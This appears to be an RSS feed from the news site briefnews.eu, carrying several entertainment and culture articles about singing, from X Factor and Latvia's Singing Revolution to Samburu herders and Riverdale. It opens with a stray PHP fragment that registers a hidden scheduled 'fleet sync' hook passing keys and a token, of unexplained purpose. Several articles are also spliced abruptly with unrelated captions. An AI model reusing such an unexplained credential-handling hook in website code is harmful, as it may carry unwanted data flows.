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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); singing – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 23 Dec 2020 20:58:04 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png singing – Brief News https://briefnews.eu 32 32 Simon Cowell announces X Factor return on Israeli series of singing contest: ‘Can’t wait’ https://briefnews.eu/simon-cowell-announces-x-factor-return-on-israeli-series-of-singing-contest-cant-wait/ https://briefnews.eu/simon-cowell-announces-x-factor-return-on-israeli-series-of-singing-contest-cant-wait/#respond Wed, 23 Dec 2020 20:58:04 +0000 https://briefnews.eu/simon-cowell-announces-x-factor-return-on-israeli-series-of-singing-contest-cant-wait/

While the X Factor UK may not have aired on ITV this year, it hasn’t stopped head judge and music mogul Simon Cowell making waves in the franchise overseas. That’s because today, Simon announced he’d be joining the line-up of judges for the fourth season of the singing contest in Israel.

In a statement obtained by Deadline, Simon expressed his excitement at the new role.

“Over the years The X Factor format discovered amazing talents from all over the world, 

“I can’t wait to see what Israel have to offer.”

It’s the first mention of a return to work from Simon following back surgery earlier this year after an electric bike accident.

READ MORE: Dermot O’Leary has ‘no idea’ when X Factor will return to ITV

“Simon controls it – when does he want it to come back and how does he want it to come back? And hopefully, we can be part of that.”

Nevertheless, X Factor fans in Israel were quick to weigh in with their thoughts on Simon’s appointment.

One excited fan said on Twitter: “WEBSITES IN ISRAEL SAYING THAT SIMON COWELL IS GOING TO BE JUGDE IN X FACTOR HERE WTF JEUFURJFBWBXBS.”

“Simon Cowell we love you in Israel welcome! @SimonCowell,” a second added.

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]]> https://briefnews.eu/simon-cowell-announces-x-factor-return-on-israeli-series-of-singing-contest-cant-wait/feed/ 0 The Masked Singer on FOX: Fans stunned as Frog changes singing style in shock semi final https://briefnews.eu/the-masked-singer-on-fox-fans-stunned-as-frog-changes-singing-style-in-shock-semi-final/ https://briefnews.eu/the-masked-singer-on-fox-fans-stunned-as-frog-changes-singing-style-in-shock-semi-final/#respond Thu, 14 May 2020 02:39:52 +0000 https://briefnews.eu/the-masked-singer-on-fox-fans-stunned-as-frog-changes-singing-style-in-shock-semi-final/

Meanwhile, fans had nothing but positivity for this week’s guest judge, comedian and Saturday Night Live star Jay Pharoah.

One fan commented: “Jay Pharaoh is quickly rising up the ranks of my favorite people with every impression.”

Now the end of the current season is in sight, speculation continues regarding the secret identities of the remaining three contestants.

Additionally, a recent merchandise leak seems to have spoiled the Frog will eventually take the crown when the finale airs on May 20th.

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]]> https://briefnews.eu/the-masked-singer-on-fox-fans-stunned-as-frog-changes-singing-style-in-shock-semi-final/feed/ 0 When Thousands Struck Back Against the USSR … by Singing https://briefnews.eu/when-thousands-struck-back-against-the-ussr-by-singing/ https://briefnews.eu/when-thousands-struck-back-against-the-ussr-by-singing/#respond Sat, 22 Sep 2018 07:48:46 +0000 http://briefnews.eu/when-thousands-struck-back-against-the-ussr-by-singing/

In a far corner of YouTube, gathering cyber dust is a video of a concert in 1985. Although its 22,000 views hint that it’s more significant than a video of your average high school rock band or birthday party, they certainly don’t indicate that what you’re watching is footage of tiny Latvia’s mass defiance of its then ruler, the Soviet Union — and the beginning of what would come to be known as the Singing Revolution.

On the surface, the video seems innocuous. It shows a melodious choir, 15,000 strong, performing at a long-established Latvian song and dance festival. But those 15,000 were citizens of a country under occupation, and the festival had been co-opted by Soviet authorities and turned into a commemoration of the USSR’s military victory in World War II. Not shown in the YouTube clip are the uniformed soldiers, the Soviet marching band or the USSR’s armed forces chorale that also performed that night. “The singing festival of 1985 was the most awful program in the history of our song festivals,” says Dainis Īvāns, a leader of Latvia’s independence movement and former deputy head of the country’s Parliament. “It wasn’t a secret that for Latvians, this celebrated Soviet ‘victory’ meant the beginning of the genocide, Siberian camps and Soviet occupation,” as a secret agreement between Hitler and Stalin at the advent of World War II essentially gave the USSR dibs on invading the independent, unassuming Latvia. “They marched with our choirs and everyone had to sing the most aggressive Soviet song, ‘Day of Victory,’ in Russian,” Īvāns says. The festival’s program was a targeted humiliation of Latvians. But roughly three minutes into the video, things begin to change.

The Soviet fanfare had ended and a few state-approved Latvian folk songs were allowed. “Then the audience finally came to life,” recounts Īvāns. “Everybody understood that this was the last chance to resist.”

You can hear the crowd begin to chant, “Gaismas pils, Mednis!” They knew the famous Latvian conductor Haralds Mednis was among the spectators, and they called on him to perform “Gaismas pils,” or “The Fortress of Light,” a folk song that would become the anthem of the independence revolution. In front of baffled KGB and Soviet leaders, who didn’t see such a spontaneous interruption coming, the Latvians sang about an ancient castle that sinks below the earth after a foreign invasion — and then rises once Latvians speak its name. The metaphor for overcoming Soviet occupation was blindingly obvious, and the clip captures some Latvians singing loudly next to others who keep their mouths shut, afraid of the consequences such a public display of national loyalty might arouse.

The surprise finale went unpunished, and in the coming years, the Soviet grip on the country began to crumble — almost as if the Latvian people had successfully invoked their castle that night. The USSR was in economic trouble and Latvians, along with the other occupied Baltic peoples in Estonia and Lithuania, continued to weaken the Soviet’s stranglehold with the culturally based, nonviolent resistance movement known as the Singing Revolution. They challenged their oppressors through demonstrations, singing festivals and artistic performances. In 1989 the Latvian Popular Front, led by Īvāns, teamed up with the Popular Fronts of Estonia and Lithuania to create a human chain of roughly 1 million people that stretched 372 miles through the three countries.

Nonviolent resistance was our single chance to fight against the Soviet regime and to win.

Dainis Īvāns, a leader of Latvia’s independence movement

“Moscow saw that these grass-roots organizations actually had the capability of organizing and unifying entire nations,” explains Guntis Šmidchens, a professor of Baltic studies at the University of Washington and author of The Power of Song: Nonviolent National Culture in the Baltic Singing Revolution. The Baltic resistance was getting international press, and USSR leader Mikhail Gorbachev was wary of responding with outright violence, especially after the fiasco at China’s Tiananmen Square. “Nonviolent resistance was our single chance to fight against the Soviet regime and to win,” Īvāns says. “Could you imagine armed resistance against the 200,000 Russian military contingents located in Latvia and approximately 300 Soviet military bases? We felt that what Russian militaries really feared were powers they didn’t understand, like a singing nation, strong morals and intellectual arguments.”

Latvia declared its independence in 1991 as the USSR fell apart. A brand-new government, coupled with tensions between native Latvians and the ethnic Russians living in Latvia, could have easily resulted in violent unrest or even civil war — but despite anti-Russian immigrant policies in the early ’90s and Vladimir Putin’s repeated provocation of the Baltic nations, democracy has prevailed for nearly 30 years. Today, Latvia is a proud member of NATO and this July it celebrated the Latvian Song and Dance Festival with an estimated 43,000 performers — 2 percent of the country’s population — and no occupiers in sight.

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]]> https://briefnews.eu/when-thousands-struck-back-against-the-ussr-by-singing/feed/ 0 Gunfights, cow theft and love songs: The ‘singing wells’ of Namunyak https://briefnews.eu/gunfights-cow-theft-and-love-songs-the-singing-wells-of-namunyak/ https://briefnews.eu/gunfights-cow-theft-and-love-songs-the-singing-wells-of-namunyak/#respond Sat, 22 Sep 2018 01:10:19 +0000 http://briefnews.eu/gunfights-cow-theft-and-love-songs-the-singing-wells-of-namunyak/
Gavin Haines


Gavin Haines
September 21, 2018

These are no ordinary wells. The ‘singing wells of Namunyak’ are where Kenya’s Samburu hersdsmen go to sing love songs to their cows. Oh, and to discuss village matters, plan raids and dance with their partners. Gavin Haines gets a rare insight.

The guns, I want to know about the guns: What’s with all the AK-47s?

First, though, let’s talk about cows, which are arriving in ever-greater numbers at this dried-up riverbed in Kenya’s Namunyak Wildlife Conservancy. There are thousands of them and they’ve come to slay their thirst at the dozen or so water troughs that are scattered across the parched earth. Everything is thirsty here.

Next to each trough is a well and in each well a human chain comprised of lithe young men, who pass buckets of water up from the darkened depths to the sunny surface. The men in the wells are naked—their bodies glisten with sweat—and they are singing love songs in the Samburu tongue; not to their wives, who are washing clothes nearby, but to their cows, who are mainly mooing and pooing.

“I will always be with you, I will always be behind you—you are my lovely cows,” translates Robert Lemayian, a Samburu herdsman and tour guide, as we eavesdrop at one of the wells. “You have to let them know that you will protect them,” he adds, citing big cats as the main cause of anxiety amongst cattle.

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There may be as many as 300 cows in one herd, says Robert, but every animal has a name; and when their name echoes from the well, it’s their turn to come and have a drink.

Chaperoning them to the troughs are young boys—tomorrow’s herdsmen—who have sticks and aren’t afraid to use them. Thwack. The sound of wood on hide. Thwack. And again. I’m struck by the contrast between the sweet songs of the wells and the boys’ overzealous use of their sticks.

There’s also the not-so-small matter of the AK-47s, which some men have slung over their shoulders. Soviet-made Kalashnikovs, it transpires, are the latest addition to the Samburu’s already potent arsenal, which includes a knife, spear and wooden club known as a runga.

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Robert says the rifles act as a warning to enemy spies, who routinely survey the wells. Hiding in nearby bushes, they identify the herdsmen with the most cows and the least security, before returning home, in some cases walking for several days, often into neighboring Somalia, to pass on their intel. Cattle raids will likely follow.

But not if the Samburu strike first, which I’m told they often do. Indeed, many raids on enemy tribes have been plotted at these wells, which, during the dry season, draw herdsmen from far and wide.

The Samburu people, says Robert, believe they have a divine right to all cows. “Cattle are sacred to us,” he explains. “We don’t believe we are stealing livestock from other people; we believe that we are bringing home what belongs to us.”

The Samburu rarely steal cattle from each other, he says, but they will walk for many days to relieve rival tribes of their herds.

“We take anything from four to 200 cattle—it’s very violent,” says Robert, who’s wearing traditional Samburu clothing of beaded necklaces, colorful bracelets and a red and blue cloth that resembles a skirt. “We shoot to kill. We lose quite a lot of young men.”

Being at the wells and hearing these stories is a great privilege. Few tourists venture up here and those who do aren’t permitted to take photographs, which seems entirely appropriate given the intimacy of the setting.

Not living vicariously through my lens affords me the opportunity to thoroughly take it all in. I look in awe at the scene: The naked men, the colorfully-dressed women, the scrawny cows, the stick-wielding boys, the guards with AK-47s and the distant bushes that may or may not harbor enemy spies. It’s like nothing I’ve seen anywhere, ever.

Though most people seem to be working hard, the wells are also a place for play. “In the evenings, we sing and dance with our girlfriends and record it on our phones,” says Robert. “Afterwards you play it back and if it is not good, you delete it and do it again.”

The wells are also a place to exchange news; of births, marriages and deaths. “We come here to get information,” says Robert, likening the experience to reading a newspaper. “If there is a wedding happening, then you find out about it here.”

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]]> https://briefnews.eu/gunfights-cow-theft-and-love-songs-the-singing-wells-of-namunyak/feed/ 0 Bad singing, pepper spray & Russophobia: Top hits of US midterms’ campaign cringefest (VIDEO) https://briefnews.eu/bad-singing-pepper-spray-russophobia-top-hits-of-us-midterms-campaign-cringefest-video/ https://briefnews.eu/bad-singing-pepper-spray-russophobia-top-hits-of-us-midterms-campaign-cringefest-video/#respond Tue, 18 Sep 2018 15:36:37 +0000 http://briefnews.eu/bad-singing-pepper-spray-russophobia-top-hits-of-us-midterms-campaign-cringefest-video/ As the critical midterm elections move closer in the US, campaigning ads are often crossing over from of the realm of eye-catching, and straight into the bizarre. Here are some of this year’s most cringeworthy hits.

With this year’s midterms seen as a battle royale of the Democrat “blue wave” against the Republicans’ tenuous legislative majority, every side is trying its hardest to stand out – and at times succeeds for all the wrong reasons. From ear-bleeding singing numbers, to dubious stunts, to good old opponent-bashing, to, obviously, Russia, every trick is fair game.

One ad was a literal dumpster fire: that’s what Minnesota Democrat Richard Painter used as a backdrop while describing the “inferno raging in Washington,” presumably meaning the Trump administration.

Levi Tillemann, another Dem from Colorado, says “Washington needs more doers and innovators,” then innovatively pepper sprays himself to the face. His point is that you don’t need guns to protect schools from mass shootings.

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This is frame 352 from the Patterson-Gimlin film taken on October 20th, 1967, claiming to depict Bigfoot/Sasquatch © Wikipedia

Singing politicians are nothing new – and almost never a good idea. Case in point: Dan Helmer, the Democratic candidate for Virginia, and his weird singing ‘Top Gun’ parody. There are a few issues with this ad, from bad acting to a muddy message, but the real zing is the song: “You’ve lost your centrist feeling, because you’ve been right-wing appealing,” Helmer and his crowd deliver in a shaky choir to his Republican opponent Barbara Comstock, before flying off straight into the ranks of the worst campaign ads of all time.

Then there’s the issue of simply bad presentation. West Virginia Republican Don Blankenship is reciting a monotonous attack on “Cocaine Mitch,” meaning senior senator and fellow Republican Mitch McConnell, while, for some reason, holding up little twin girls. That was an ad for a primary Blankenship has since, perhaps understandably, lost.

Bizarre Trump sycophancy has found its way to this list, as well: Ron Desantis of Florida is seen reading bedtime stories to a child about the US President “draining the swamp,” and teaching his daughter to “build the wall” with toy bricks.

But nothing hits the spot like some juicy Russophobia. A Democratic PAC has released what seems like a campaign ad for California Republican Dana Rohrabacher – but is, in fact a parody, apparently aimed at bringing him down for his supposed sympathies to Russia.

In it, a female voice with a surprisingly believable Russian accent reads out an endorsement of Rohrabacher by Russia, and later a personal “letter from Putin” is seen confirming the same. Because, obviously, Russia equals evil, and no-one thus endorsed can hope for a win in the US.

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Welcome to The Professionals, an eight-part video series that connects you to the hearts, minds and anything-but-ordinary days of the people who run things, do things and make things GO.

Paul Schmidt: Surfer, Surfboard Designer/Builder @ Paul Surf

The sun, the constant roll of water, waves, civilization behind you and an endless horizon spreading out in front of you … It’s no wonder that those who dig surfing do so rhapsodically. Despite how hard it is to actually do, surfing seems like it’d be a blast. Beyond that, action words typically reserved for other sports — killing, crushing, smashing — are largely absent with surfing, so no surprise at all that when we meet Paul Schmidt, a surfer with a thriving surfboard-building business outside of New York City in the Rockaways, he stakes a simple claim that for him, it’s meditative.

Even more than meditative, Schmidt says, “Surfing to me … that’s something that you can count on [that’s] just fun.”

And along with actually surfing, enabling others with his custom-built and painstakingly handmade boards closes the circle for Schmidt in a way that brings him happiness unlike other work experiences on dry land. “If you find joy in something just on a really basic level,” says Schmidt, “see how far you can go with it. Try to get lost in the details of that thing that makes you happy.”

Which, when you see Schmidt in his now-thriving shop bent over a board, either to make it or later ride it, brings it all home. While the boards he makes are not cheap, Schmidt says that’s almost as far away from the point as you could get. What’d be closer? The piece that’s all about wonder and a spiritual wholeness: “The time I put into the boards,” says Schmidt as he frames his “business” hope, is “that [it] kind of inspires people to slow down a little bit, be more present.”

A fairly solid way of saying, surf’s up.

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]]> https://briefnews.eu/singing-the-song-of-the-surf/feed/ 0 Pitch Perfect 3: Anna Kendrick's A cappella tested – here's why YOU should try singing NOW https://briefnews.eu/pitch-perfect-3-anna-kendricks-a-cappella-tested-heres-why-you-should-try-singing-now/ https://briefnews.eu/pitch-perfect-3-anna-kendricks-a-cappella-tested-heres-why-you-should-try-singing-now/#respond Wed, 25 Apr 2018 23:05:06 +0000 http://briefnews.eu/pitch-perfect-3-anna-kendricks-a-cappella-tested-heres-why-you-should-try-singing-now/

I should probably start this by admitting I have never once sang professionally in my life.

Sure, I’m a die-hard shower crooner, but I wouldn’t count my Adele rendition in a list of “stage experiences”.

Nevertheless, there’s something quite amazing about a capella and the enormous amount of skill behind it.

So when I was asked if I would like to take part in a singing lesson with the Oxford Belles to celebrate the launch of Pitch Perfect 3 on DVD, I jumped at the chance.

I should say: I’m a pretty big fan of the aca-franchise.

Anna Kendrick has become somewhat of an idol since she became associated with the film.

Her performances as Beca have been completely fantastic through the three films and I can’t think of anyone who would embody the honesty and talent in the same way she does.

But having tried my hand at a capella, my respect for her has gone through the roof.

The religious-born style of singing has rose into the public conscious following the franchise’s success.

And it’s a complete skill – there’s no two ways about it, this is one talented lady.

After watching the Oxford Belles perform How A Heart Unbreaks (originally sang by Ruby Rose in Pitch Perfect 3), I daresay I tempted fate by thinking: “That doesn’t seem too bad.”

It’s safe to say I was wrong on so many levels.

After being declared a “Soprano” (something I still don’t really believe today), we set about learning our individual parts.

Although my section wasn’t particularly lengthy, my two Soprano mentors tried their best to show me how each “dum” and “do” would fit in – something which seemed impossible without hearing the rest of the vocals for guidance.

I was completely baffled and realised just how hard it is to keep a tune when there’s no reference.

Still, I persevered and with some practice for all of 20 minutes, seemed to have it roughly nailed down.

Whatever I thought I had, I really didn’t, and when the whole piece was put together, it’s incredibly challenging to put everything together when someone else is singing other notes and patterns in your ear.

The sound of 20 plus voices singing in harmony sounded genuinely beautiful – and it was pretty magical to be a part of.

Save the odd bum-note here and there (sorry team), I’m not ashamed to say we completely nailed it.

On the way home I found myself humming along to my unique harmony on the London Underground, blissfully unaware of anyone watching me.

And there lies the magic of a capella. It’s why Pitch Perfect has been such a success and why fans are crying out for even more movies.

It’s aca-brilliant and everyone should try their hand at trying it, even if you’re like me and don’t have one musical bone in your body.

Pitch Perfect 3 is available on Digital, Blu-Ray and DVD now from Universal Pictures (UK).

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]]> https://briefnews.eu/pitch-perfect-3-anna-kendricks-a-cappella-tested-heres-why-you-should-try-singing-now/feed/ 0 ‘Muppet Babies’ Clip: Get Ready For An Abundance of Singing https://briefnews.eu/muppet-babies-clip-get-ready-for-an-abundance-of-singing/ https://briefnews.eu/muppet-babies-clip-get-ready-for-an-abundance-of-singing/#respond Sun, 04 Mar 2018 18:49:06 +0000 http://briefnews.eu/muppet-babies-clip-get-ready-for-an-abundance-of-singing/ muppet babies clip

The Muppet Babies are coming back to make your dreams come true with an all-new animated series, whether you like it or not. A brand-new Muppet Babies clip introduces you to the cast of characters, and features a lot of singing.

So. Much. Singing. Muppet Babies is clearly geared towards very young children, and they will no doubt get a kick out of all the sunshiny singing in this clip, and the series as a whole. As for me, I watched this clip with a curious detachment. Check it out for yourself.

Muppet Babies Clip

A few takeaways from this clip:

  • There’s a new character named Summer, who I guess is a penguin? I don’t remember her from the classic Muppets lineup, or the original Muppet Babies animated series that used to play on Nickelodeon when I was a kid.
  • All the voices sound really weird, but I suppose that can be written off by the fact that these are supposed to be the Muppets as kids, so their voices are naturally different.
  • This song isn’t even slightly catchy. Remember how catchy the original Muppet Babies theme song was? That thing was an earworm. This? I don’t know what this is.
  • The animators did a pretty good job recreating the felt-like textures of the Muppet characters.

As Nerdist reports, before the new Muppet Babies series debuts, “Disney Junior will let the kids introduce themselves to a whole new generation of fans with the short form series “Muppet Babies: Show and Tell,” which will also offer a look at their playroom, which can transform into anything their imaginations can dream up. The shorts will premiere Friday, March 2, on the Disney Channel, Disney Junior YouTube, as well as the DisneyNOW app.” So be on the look out for that, I suppose.

Muppet Babies, featuring the voices of Matt Danner, Melanie Harrison, Dee Bradley Baker, Ben Diskin, Eric Bauza, Jessica DiCicco, and Jenny Slate, premiers March 23, 2018 on Disney Junior.

The MUPPET BABIES are here to make dreams come true! Join Kermit, Piggy, Fozzie, Animal, Gonzo and Summer on all their playroom adventures! Whether they’re building a time machine, blasting off into outer space or watching Gonzo launch himself out of a cannon, the sky is definitely NOT the limit for the Muppet Babies! Along with the help of Miss Nanny, the Muppet Babies will use their imaginations to explore their playroom and beyond!

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]]> https://briefnews.eu/muppet-babies-clip-get-ready-for-an-abundance-of-singing/feed/ 0 ‘It’s OK, we understand’: IOC won’t sanction ‘excited’ hockey heroes for singing Russian anthem https://briefnews.eu/its-ok-we-understand-ioc-wont-sanction-excited-hockey-heroes-for-singing-russian-anthem/ https://briefnews.eu/its-ok-we-understand-ioc-wont-sanction-excited-hockey-heroes-for-singing-russian-anthem/#respond Mon, 26 Feb 2018 18:57:51 +0000 http://briefnews.eu/its-ok-we-understand-ioc-wont-sanction-excited-hockey-heroes-for-singing-russian-anthem/ The International Olympic Committee (IOC) will not sanction the gold medal-winning Olympic Athlete of Russia (OAR) ice hockey players, who controversially sang Russia’s national anthem during their medal awards ceremony.

IOC said they accept that the athletes were over-excited by their nail-biting 4-3 overtime final victory over Germany, which carried over to the medal presentation on Sunday.

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Winning Russian players during the medal ceremony of men’s ice hockey tournament at the 2018 Winter Olympics in Pyeongchang. © Alexey Filippov

“We understand that this was over excitement by the athletes who had just won a gold medal in extraordinary circumstances,” the IOC said in a statement, the VOA reported, citing AP news agency.

The Germans, who had previously eliminated Sweden and Canada from the gold medal contention came close to creating one more sensation at the Games, when they hammered in a third into the Russian net, making the score 3-2 with just three minutes remaining in the game.

Germany’s chances to clinch their first-ever Olympic ice hockey gold substantially increased after OAR defender (and former New Jersey Devils player) Sergey Kalinin was sent to the penalty box for a tripping foul.

However, the Russian players managed to save their chances, when Nikita Gusev scored a short-handed goal for OAR sending the game into an extra period.

In the overtime four-on-four format, OAR capitalized on a one-man advantage after German forward Patrick Reimer received a two-minute penalty for high-sticking. Twenty-year-old forward Kirill Kaprizov then fired the puck into the German net, bringing his team the first Olympic victory since the 1992 Albertville games, where Russian players also performed under a neutral flag.

OAR athletes were obliged to compete as neutrals in PyeongChang, observing the IOC ruling to suspend the Russian Olympic Committee (ROC) as the result of the investigation into the country’s alleged state-sponsored doping.

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© Grigory Dukor

The Olympic governing body also banned all Russian national emblems, including the flag and coat of arms, obliging the athletes to compete in a neutral uniform exhibiting no indication of their nationality.

OAR members were also prohibited from accepting the national flag from the crowd, showing national symbols on social media, and singing the national anthem inside an Olympic venue.

The victorious Russian ice hockey players defied the IOC rule on Sunday by singing the banned anthem along with a jubilant crowd, while the Olympic flag was being raised to honor the OAR victory. Ilya Kovalchuk, who was named MVP of the hockey tournament, said the players had planned to sing the Russian anthem to celebrate the country’s triumph.

“We knew we would sing the anthem in case of victory. It means a lot to us. We haven’t won the Olympics since 1992,” Kovalchuk said.

“Our latest victory was a long time ago, and we have dreamt of winning the Games. Olympic victory has been my dream since I was five, when I just started playing ice hockey.”

It was the second gold medal for the OAR team, which won a total of 17 medals at the PyeongChang games: two gold, six silver and nine bronze. Russian athletes had to sign document agreeing not to display any national symbols or protest the restrictions.

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]]> https://briefnews.eu/its-ok-we-understand-ioc-wont-sanction-excited-hockey-heroes-for-singing-russian-anthem/feed/ 0 Riverdale's Musical Episode: Which Character Definitely Won't Be Singing? https://briefnews.eu/riverdales-musical-episode-which-character-definitely-wont-be-singing/ https://briefnews.eu/riverdales-musical-episode-which-character-definitely-wont-be-singing/#respond Mon, 19 Feb 2018 20:20:06 +0000 http://briefnews.eu/riverdales-musical-episode-which-character-definitely-wont-be-singing/ Yes, Riverdale‘s students are putting on a musical… but one member of the gang won’t be hitting any high notes.

Cole Sprouse’s Jughead will not sing in the CW teen drama’s April 18 musical episode, which sees the gang mount a production of Carrie: The Musical, executive producer Roberto Aguirre-Sacasa confirmed for reporters at a recent press screening. Apparently, Sprouse isn’t a huge fan of the genre, the EP explains: “Cole and I talked about it a while ago, and I said, ‘How do you feel about musicals?’ At that time, we were going to do Little Shop of Horrors. And he basically said, ‘Listen, I never sang for Disney. It would take a lot.’” (Sprouse, you may remember, grew up as a Disney Channel star along with his twin brother Dylan on shows like The Suite Life of Zack & Cody.)